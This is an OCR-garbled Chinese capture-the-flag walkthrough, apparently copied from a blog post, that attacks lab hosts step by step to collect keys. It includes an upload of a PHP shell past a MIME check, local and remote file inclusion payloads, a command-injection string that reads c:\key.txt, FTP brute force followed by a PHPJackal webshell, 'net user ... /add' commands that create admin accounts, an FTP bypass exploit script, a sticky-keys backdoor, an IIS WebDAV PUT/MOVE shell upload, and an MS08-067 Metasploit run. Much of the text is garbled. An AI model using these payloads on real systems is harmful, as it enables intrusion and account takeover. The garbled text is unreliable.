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LEMHER: ajpg
&R image/peg
L& EAA: 0.00390825 Kb

3.H EfE—1xdtcff, B

MFEIHEIR | RREELEipoBEl A3,

4 Kali T 4T Fburpsuit, a0 & & B A KW 5127.0.0.1:8080

Burp Intruder Repeater Window Help

[Targzt T Prosy T Spider ]' Scanner TIntrudEr T Repeater T SEquEnCEr T ]}

EH:EF:' gﬁgﬁ cE:’ EEEV) }E_;?E [ Intercept T HTTP history T wiehSockets history T Cplions

:~# burpsuite

|t%| PBurp Prosy uses listeners to receive incoming HTTP requests from wour br

| Add | | Runn... Interface Invisi... | Redirect
@ 127.0.0.1 B0ED a

| Edit |

: -

| Remove |

Each installation of Burp generates its own CA certificate that Prosy listener

5. 3T TF 3 B 4% Bt B http L2 9127.0.0.1:8080



MfHE) fmiBE) BBV ARG HEE) LRO) HEIH)

| AR Wﬂ““nﬁhhhhlgﬁ
@ I3
Beel [ ) = 2 &K ) Q RS
Bl BER AR KAEF BR %2 B% |
B | B ER
 f
BE Iceweasel HFEREEMTHM | #EE.
FEOR /
ERVEERERRNRE STEDFPR(C) |
O FRI2(Y)
O BN ML IBRE W)
O BRAKREREV
® FHREMRIE : (M)
HTTP {£IE : (X) [12?.0.0.1 ] iwO : (F) &08&0 a ﬂﬂﬂiﬁﬂ%@}‘
(1 SAFE I ERERE(S) B X)... |
SsLfei® ;| | w0 o) O|E] L |
6.Burpsuitin & % &

| Burp Intruder Repeater Window Help

FH X - lceweasel

[ Target T Prosy T Spider T Scanner TIntrudzr T Repeater T SEQUENCET T Decoder Co

MfHE) fRiBE) BBV ARG HEE) IRO HEIH

|J Intercept T HTTP history T ‘WebSockets history T Cplions -]

EEE [

Forwmard Orop Action

Intercept is on |
|

Rzw  Hesders  Hex:

€« » | @ 192.168.102.62

ENExploit-DB () Nessus Home { iBeEF

AT &3 5155 key

i
ST, J b.php

E1&

7.\ b E, EEEISEEE



J Intercept T HTTP history T WebSockets history T Cplions ]

#"| Request to http:/#182.166.102.62:E0

l Forward J [ Orop J [ Intercept is on | Action

Rzw | Params | Headers | Hes

POST fupload.php HTTRP/1.1

Host: 192.168.102.62

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:24.0) Gecke
Lccept: text/html,application/xhtml+xml, application/xml;
Accept-Language: zh-cn,zh;g=0.8,en-us;g=0.5,en;q=0.3
Lccept-Encoding: gzip, deflate

Referer: http://192.168.102.62/

Connection: keep-alive

Content-Type: multipart/form-data; boundary=------------
Content-Length: 335

----------------------------- 12756985857294565141541486¢
Content-Dispositicn: form-data; name="file"; filename="kL
Content-Type: application/x-php

----------------------------- 12756985857204565141541 4864

8.1 B hr B & Nimageljpeg , A diforword

#| Request to http:#1 82 16E.102.62:EQ

l Forward J [ Orop J [ Intercept is on | Action

Rz | Params | Headers | Hex

205T Jupload.php HTTR/1.1

dost: 192.168.102.62

Jser-Agent: Mozilla/S.0 (X11; Linux 1686; rv:24.0) Gecko/ZzC
\ccept: text/html,application/xhtml+xml, application/xml;qg=t
\ccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
\ccept-Encoding: gzip, deflate

ieferer: http://192.168.102.62/

Zonnection: keep-alive

Zontent-Type: multipart/form-data; boundary=---------------
Zontent-Length: 335

----------------------------- 12756985857204565141541 4864
Zontent-Disposition: form-data; name="file"; filename="h.pt
lontent-Type: image/]peg|

----------------------------- 127569858572945651415414864
Zontent-Disposition: form-data; name="submit"

----------------------------- 127569558572045651415414864- -

9.5 3h k4%, 18%Flkey: Dangerous MIME

LEXHE: bphp
&3 3EAY: imagelpeg
&SR 0.001953125 Kb

A Ih EfEphp3Zit , 53] key:.Dangrous
MIME

10.3 4 T 8K FH
& H



SO T BRI KA
it it 72

1.3TFFREEE, V7 ihttp://192.168.102.62

T

Chrysanthemum.jpg
Desert.jpg

2 XA IEH F#, Viklhttp://192.168.102.62/images/Desert.jpg 75 248 [ i & Fr

"Bl Desertjpg ( JPEG B, ... \+

i (- &P 192.168.102.62/images/Desert.jpg UEv@ & ~ @v SE <Ctrl+K=

3EE MM FEMALN: hitp://192.168.102.62/index. php?file=Desert jpghk i i s
ht:http://192.168.102.62/index.php?file=../index.php F #15 Zlindex.php3t 4, ITFH 15 Zlkey: keep going

E _index. phﬂl
< ?php
Sf key: keep going
=TT LlMLL-}-_LﬂJ rrrer 1)) {1
$file name=$ GET['file']:
lelse!
print <<<html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 T
"nttp: /S . w3 . org/ TR/ xhtml 1 /DTD/xhtmll-transi
<html>
9 <head>

=1 & LN s L Ry

10 <meta http-equiv="Content-Type"™ content="text/
11 <titlexEg - </title>

11.include ¥ /&
& H


http://192.168.102.62/index.php?file=Desert.jpg

B S AT ARBD
R
1HTFFRIY38, Vi http://192.168.102.62

{REFHER!

37 ENGLISH

2. M Furlihk, Vil http:/192.168.102.62/index php?lang=aaa.php i BLH

i | € @ 192168.102.62/index.php?lang=aaa.php UEC

Warning: include(aaa php) [function. include]: failed to or
YW\ index. php on line 4

Warning: include() [function. include]: Failed opening * aa:
YW\ index. php on line 4

SHEMAENMEETIF, HWRLZEaE. BTN RS ST EY, BrUA#iiEEweb it i, web
R H R test. X, WEN:

<?php

$f=fopen("index.php","r");

echo fread($f,filesize("index.php"));

fclose($f);

exit();

?>

4.8 TFRVjHE: http://192.168.102.62/index.php?lang=http://192.168.102.61/test. XX & F VY, 75 Fkey:Remote
File Include


http://192.168.102.62/index.php?lang=aaa.php

i | € @ 192168.102.62/index.php?lang=hitp://192.168.102.61 /test ixt -]

@ i : http://192.168.102.62findex.php?lang=http://192.168.102.61 /test.bxt - Mozilla Fir
MHE REE EEN FEEH)

¢ 2ohp
Skev:Remote File Include
if(isset (§_GET  Iang’ 7)) {
include (3 _GET Tang™1);
Jelsef
beader ("Location: index. php?lang=cn. pfip”);

7
2

12.includeJ B (=)

A H
5 SO R B
fi# it 72

1ATH X EE, Viilhttp://192.168.102.62

{REFHER!

37 ENGLISH

2. M Zurlbhl, Y5l http://192.168.102.62/index.php?lang=aaa.php H PR 45

-

# | € @ 192168.102.62/index.php?lang=aaa.php 7]

Warning: include(C:'phpStudyt Wi aaa. php) [function. include]: fail
line 3

Warning: include() [function. includel: Failed opening *C:phpStudy
YW\ index. php on line 3

3. MKW EER A SRR, Wikht: http://192.168.102.62/index.php?lang=../../boot.inii i 15 F
key:Local File Include


http://192.168.102.62/index.php?lang=aaa.php
http://192.168.102.62/index.php?lang=../../boot.ini

WEE~c : - SE <Ctrl+K> P

¥ e 192.168.102.62/index.php?lang=././boot.ini

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(Mpartition(l)\WINDOWS [operating svstems]
malti (00 disk(0)rdisk(0)partition (1) \WINDOWS="key:Local File Include” /noexecute=optout /fastdetect

@ iE : http://192.168.102.62findex.php?lang=.././boot.ini - Mozilla Firefox
B R5E =EN =&

[boot loader]

timeout=30
default=multi () disk (M rdisk (M partition(1)\WINDOWS

[Dperating systems]
mlti (0 disk(Mrdisk(Mpartition(l)WWINDOWS="kev:Local File Include” /noexecute=optout /fastdetect

13.excef1iEF4

A H
5 i & AT FREUALFR

Rt L 2
1HTFFRIYEE8, Vi http:/192.168.102.62

pingfail

BHEIAIPEIEE

2.8\ 127.0.0.13:3838



pingf&m

RRAIpEIRE

Pinging 127.0.0.1 with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Ping statistics for 127.0.0.1:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:
Minimum = Oms, Maximum = Oms, Average = Oms

3.3H5127.0.0.1 | ipconfig &3

pingt&:

BHEIAIPEIEE

Windows IP Configuration

Ethernet adapter ZikifEsE:

Connection-specific DNS Suffix . :

IP Address. ...........:192.168.102.62
Subnet Mask . ..........:255.2552550
Default Gateway .........:192.168.102.1

AT E B RAGE M ASPATIRIA . $4T: 127.0.0.1 | type c:\key.txt 7] LB Fct B key. txtfi I 25

pingt&im|

i%m)\lpm% D001 | type crikew. txt

key:Command execution

14.ftpl i 2



& H

88 3 ftp R B oY 3t AR
BB R

1.3TFromd, i\ ftp 192.168.102.62 & ftpfR %58, R R LR fip

ftp 192.168.182 .62
Z| 192.168.182.62,
228 Ftp user is ftp .

FH F¢192.168.102.62: (noned>:

2B ESH, LEMRBIAE20, 4wHOBEN21 -

285 [192. 188 102,82
s [192. 188, 102,62

wO: 21~ 2EE: o 2
SSSQMD Hom_——
b i =1k
FhROEE: S E + & HE
92 188 10282

3. R, AINBATRRR T S

IR |E(E)  BE0)

ftp

i
]
i
3
=

(R HREBE) fEEl0) EE(NV)  EEH)

Eephyr
zeppelin
ZEUS
zhongguo
zigey
zomkie
ZOTTO
zECvh
zxovhnm
ZELEEE

il 1%




4 JEAMIE NS, EFEARMtpE 04
Ftpbaopa - VMware Workstation [=[& =]

File Edit View WM Tabs Help

M- Doed 0==Em
/£ Home

% | [ Ftpbaopo x}

ileZilla Server (127.0.0.1)

T FEHE @EE 7
1[5 8 |[ @& s-xing 1.0 EEAE wwow98execom o o=

(00085112

pomecioe] | ¢ BEROTRMAE O PR E fety: 15z mesiozez | BROSEEN 2ok | BrssoL Bt |5|E)
oooss2)zd | | Eig | a=m w, 10192.168.102.62  fip fip

(000852 )21

00653)21 Wa: o -] B o 3
recesin S3eR BN #

(000854) 21 b G n Zk

(000851 )21
(00085521 FrRHRORIEY SE+FE
(0085521 THETRE TR

(0008se )21
(000856 )21
(00085721
(000857 )21
(000856)21
(00085821
(000853)21

o

HEPOP3BEOS
HEFTPEOS

. HiE1433805
4 133063504
FileZill HiF338080S

HEREHMETEOS
- s T | O FES
_EIERTP EEfsaL  feEhEieaasg

1348 192, 168, 102. 62 ftp GBEEE8EE o, FIEE. ..

@FE | @ (@ | L0 \lecunents and Se. [IE F1ezite server @ Hde@ s

To direct input to this VM, move the mouse pointer inside or press Ctrl+G. EFREL-T-TH

oy 7z 11:49
415 ﬂ E l m l ] b Soramm1 al

5. ANk Sftp, Hibftp, R EE, KIMAwebHZF

e e
BROSGHIEN:  Zprre | Bpsa ks |5|E
Loez 188 102,62 ftp fip

FileZill. ..

6. 7% £ftp, _Lf&webshell



B Fre Fesrees =N e S
Mift: [192. 168 10z 62 R [ev =0 [ wO: L oEE s awe| (TEE| BTE ‘

Logged on

BNk

[ AR G =l || = B

E= | #)s | e A Rl E=T E=TE =T |
|| Cosmos Ttk 2014[ ||||[E] index. phe 214 2014,/8/8
L a-x ik 2014 TBOSO  2014/8/11
|| XPTEE4 Witk 201d|

| REER Wik 2014~

[RalL. pre B.45 KB FHs B 2014

[ma]2. e 104 KB FWG iR 2014

B3 pre 14.4 1B WG B 2014

R4 g 5.08 KB FHG ERfR 2014

[Eb. exe T2.0 KB FAEE 2014

EEFilelilla Server. .. 1.40 MB #FE ZIF [E... 2014

W e, exe 30.0 i REAEE 2014

|| php. php T4.2 KB FWF Wi 2012 <

a [T | 3

1G] =| | |k <> [dkss | imigtmht |

7.3 %5295 111192.168.102.62/php.php

# | € @ 192168.102.62/php.php U~ - |[&]-

{] - [Info] - [File manager] - [Editor] - [Web shell] - [B/R shell] - [Safe-mode

PHPJackal v1.9 - Powered By NetJackal

8.4 iweb shell, #HMAF, 4HlH#4T:

net user test test /add
net localgroup administrators test /add



Location: SRR [ change | |

ai & I -

net uszer test test fadd

Dizplay open portz |- S

% LA

|net localgroup administrators test fadd

Diszplay open ports H Execute

PHPJackal v1.9 - Powered B

0. ZFEEEMSE 2. FIK Stest Hibtest B



L TRSEm=E =N NoR|~=

EIE S H
WE c) . RN -
[=]=E=% LIU-1ECAEEEOEZ] \test

SimEgimiEaEE-

v I @) [ Fgw || #Bon |

% 192.168.102.62 - iZSEEE

C:“Documents and Settings“test>whoami
1=zh—2883“test

C:\Documents and Settings“test>_

15.ftpI I IH

& H

88 3 Ftp U VIR TR HR P 3t A R
it it 72

1. S‘Tﬂ‘%&lﬂﬁ G\ ftp 192.168.102.62 & H:ftpik 45 5%, K ILftpAR %% &4k A Gabriel’s ftp server

to 192. 168. 102. 62.

ARG, ERRAREIZER: http://www.exploit-db.com/exploits/27401/
3. T I M A27401 . py/IE LT, BB

|3 import ftplib
|4 import os

16 # Connect to server

:;ftp = ftplib.FTP({ "192.168.102.62" )
g ftp.set pasv( False )

# Note that we need no authentication at all!!

prlnt ftp.sendcmd( 'CWD C:A\AAN' )
tprint ftp.retrbinary('RETR key.txt', open('key.txt', 'whb').write )

:;ftp quit()



27401. py

~. "
W\

MHF(F) YREB(E) {EER(s) B
key:ftp bypass

16.14 R [f)Remote Desktop

& H

1 S8 R SR THT FE R AN H AR AR

i S R

1ATHRBE TR, A HRip, %3389 0, FFaaaH

o5 [192. 183 102 63 Al
g [192 183, 102,63

MO: |33s9 | DEEE: [lo0 =
seetellliEn: 20
b i [ =31

FrRORIE : =+
192. 168. 102. 63

2.\ AT 4L, ISR R K S Y



EUser.brt-iE.ngi
IR fw|E) E0) EEM EEiH)

administrator

admin

| password.txt - 0=
R REE B0 EENV) EEIH)
kdmin

admind

9

adminl

admini9

g9

adminlZ

adminT&9

TEa

adminlZ3

admingTEY

BTEY

adminl 234
adminbGTEY

12345

56TEY

adm1n12345

[y %50 g |[comwn am AN % == EE R S8 s AaBbAaBbCAsBbC . A\ % B &

- (NEs R B I U-As- X' x, W-A-AY- L= B-E- | Ex | FE1 BE:z 583 < B XFTE- | Sk 58
EHa G« - | W) 33800RE-.. R docx X | + L4
| ot Lt e
S-Xing v1.OFOSHIRMGTIAE www.98exe.com =8 o = “‘!
@ - >TRA L TPt HEE R idy: 1e2teeozes | PELSMEN: B S B O E
Lo | GEs e
— o WO: PeE | S oo 3]
e s #
iﬁ? T,
admi FHROMEN: O - I
182, 168. 102. 863 E

m

) s ———
L EHFIF Sy 1SEFTPROS
] i W =i 14335804
IO FiE33068m0S o
. 1ZiE32e08 0% ’ :
E=: FE0S :

1 WE: Y2 F:1/1 {311 5l: 45 416 B HSEE

Blel-B[a[BO&E[2] CeEmEa

4 BB 04 administrator 123456

| BIEOSMEN:  TEFTE TS0l SfhIIe O
| (7182 188 102 63 administ. . 123456 '

[




5.2 % 5192.168.102.63, {3 Ak S administrator 274123456
% 192.168.102.63 - iTfREmEE

o

FRE e

17 LR B

& H

i IR S T R AR H AR BUR
fi# i AR

13572 %$8192.168.102.63

% 192.168.102.63 - iTfREmEE

FHF 3| Windows
/

;7 Windows Server2003

¥ Enterprise Edition

Capyright & 1885-2003 Microsoli Corparation

ARE o : Iadministrator

e |l

HET @) >




2. 7E T R E SR shiftid, FHAAE THET
% 192.168.102.63 - iTRSHIEE

FF23 Windows

Microsoft 'ﬂinduws L 5.2.37981
‘5§ 1985-2083 Microsoft Corp.

C:~WINDOWS ~system32>

3. fEcmd#AT

net user test test /add
net localgroup administrators test /add

8. 192.168.102.63 - TESEEE

INDOWS' system32h sethc.exe

C:NHINDOUSssystem322

4 [ F W S % 1 test test &

8. 192.168.102.63 - TESEEE
~

Microsoft Windows W 5.2.37781
FRH 1985-2002 Microsoft Corp.

C:“Documents and Settings“test>whoani
l=h-2B83-test

C:\Documents and Bettings“test>_

18.1IS ghost



& H
i IS T IR 2R B URAS B
3 b

13T 8%, V5 http://192.168.102.62

f EH/E +

#f € 102,168,102.62

f§|
i

IIS 6 + WebDAV

2.[HAiis + webdaviA 5 F] ge#7 £Eiis putisiiE, B LAIRATITAE A IISPutScannerfa . wnEBCE I #

IT) 11S PUT Scaner v1.3 -- Coded By Zwell o -E | ]
Setting

Start 1P |192'158'1D2'52 EndIP: |192'158'1D2'52 Thiead: 1109 Timeout: |5_
Pt - | 208080 W Tytouploadfle [~ Tiyon other systems P Scan

Host | PUT | HTTP banner | Update File |

! 1321681026230 YES ticrozoft-15 /6.0 ok

3. HEIE. FHiiswritei TR, B ANaspARBEIREEE. HEHL, HOEEFput. EFaspRG

B FNSSHIRNHA /| EENId=0Ew - =HEEER

T ~ | gz (192165 102 B2 ST |ftest. txt

=

B | RS

ERBE @ | ) 3o -
= 2% .
.\A.:j'f
SR ﬁj&%ﬂﬁqfﬁ Shared Virtual Machines
http: fFwww. Tencent
atii=Si% R ! Tencent Files
http:fFwww. e
E
OETTONSIR[E]
PUT




ATILITILAFBUITUT] ) A M OSEARS CUEE M T TETVES T FHE == [T

FUT | fdd: 192 166. 102,62 R [ test txt

% L/ (=5 |Ei\asp.asp {EazdEE
mEAfIsRE -

4 R R HEN, BT %

AT |EZ hasp. asp EadniEs

HTTES1.1 201 Created -
Date: Wed, 13 Aug 2014 02:00:13 GNT

Server: Microsoft-IIS/B.0

Location: http: /192 166, 102 62/ test. txt

Content—Length: 0

#11ow: OFTIONS, TRACE, GET, HEAD, DELETE, PUT, COFY, MOVE, PROFFIRD, FROPPATCH,
SEARCH, LOCE, UNLOCE

5. BB %Emove, HEFIRAZHIER

I ISSHIRGRIE ) SEVIESET - BREEER = = ==

| MOVE ~ | fddn: [182. 168. 102. 62 R [ftest tat

fEsdiiReE

hrmn e 0 Ame A C o

6.5 Th JG Vi el http://192.168.102.62/shell.asp, 1 # i admin f

P € 192.168.102.62

7% key.asp, mtigwiE, 18 Flkey:put and write.



ProgramE] (4) [Documents] (5) [A11_User
Servl (1) ] (4) [Servi(2)] (5} [WinDOWs]

o hinetpubiwwwroothliey. asp

wou canm’ t get the ey here
&

“ley:iput and write

%>

19.xampp

& H

it xampp iR UBUR(E B

it it 72

1ATFFMEEE, Viilhttp://192.168.102.62, K ILBkE: 2| T HAAMIERA N 1.7.3

# (€ 192.168.102.62/xampp/

XAMPP for Windows

XAMPP 1.7.3!

e

MAEEEIV Fr g M Apachell REMRHEE . Bk, SR B RS
Eill Carsten WiedmanniEft 7 PHP 4.2.103MySQL 4.1.88L1
tERTLL @I https://127.0.0.1 @ https://localhost FigiFOpenssl
REEF—m ! FERBEs T Nemesis, KriS, Boppy, Pe-Dummyll FzXAMPP

2RI, MIENRATE — MR A LLSZEE b5 ENL_E K S0 http://www.exploit-
db.com/exploits/15370/


http://192.168.102.62/xampp/

# € B wvrwnexploit-db.com/exploits/ 1337

XAMPP <= 1.7.3 multiple vulnerabilites

EDB-ID: 15370 CVE: N/A O3VDB-ID: NA

Author: TheLeader Published: 2010-11-01  Verified: % Rating
Overall: (0.0)
Exploit Code Vulnerable App: MN/A
Next Exploit

Previous Exploit Home

3.@itpoc, TATHIE: http://192.168.102.62/xampp/showcode.php/c:boot.ini?showcode=11j & #i bt 7] LA15 3]
RATTFE R key

i € > 192.168.102.62/«ampp/shaw

[boot loader]

timeout=30
defaul t=milti (D) disk (M rdisk (M partitiontl) WINDOWS

[operating systems]
multi(0)disk (0)rdisk (D) partition(l) \WINDOWS="key: yampp read” fnoexecute=optin /fastdetect
|

20.dangerous 445
& H
I R T A A H A E L

R
1.47FFnessus, fF M IRIAEH, FHEH192.168.102.62



Scans Schedules Policies

Scans
< Scans Basic Settings

Basic Seftings
Name 192.168.102.62

Schedule Settings
Description

Email Settings
Policy Basic Metwork Scan hd
Folder My Scans hd
ERHES 192.168.102.64

2EFAMGER, RIFERF, ET445m0, @Bl . £Hms08-67¥wiFL

[}
*@ NESSLIS Scans Schedules Policies

192.168.102.62

Scans > Hosts Vulnerabilities a Remediations
Severity - Plugin Mame Plugin Family
Microsoft Windows XP Unsupported Installation Detection Windows
ME05-027: Vulnerability in SME Could Allow Remote Code Execution (896422) (u...  Windows
MS08-067: Microscft Windows Server Setvice Crafted RPC Request Handling Re...  Windows
CRITICAL ME09-001: Microsoft Windows SME Vulnerahilities Remote Code Execution (958... Windows

ME0B-035 Vulnerability in Server Service Could Allow Remote Code Execution (... Windows

3.#TFFmsfconsole, K HEHERUse exploit/windows/smb/ms08 067 netap, WEH#IRip: set
RHOST 192.168.102.62exploit

8. 102. 65: 4444




4 FIh B e\ cat c\key.txt EoRcEL T key. it S, 15 Elkey:you win

jmet ter > cat c:

3, T:https://www.cnblogs.com/zI20154312/p/9233012.html
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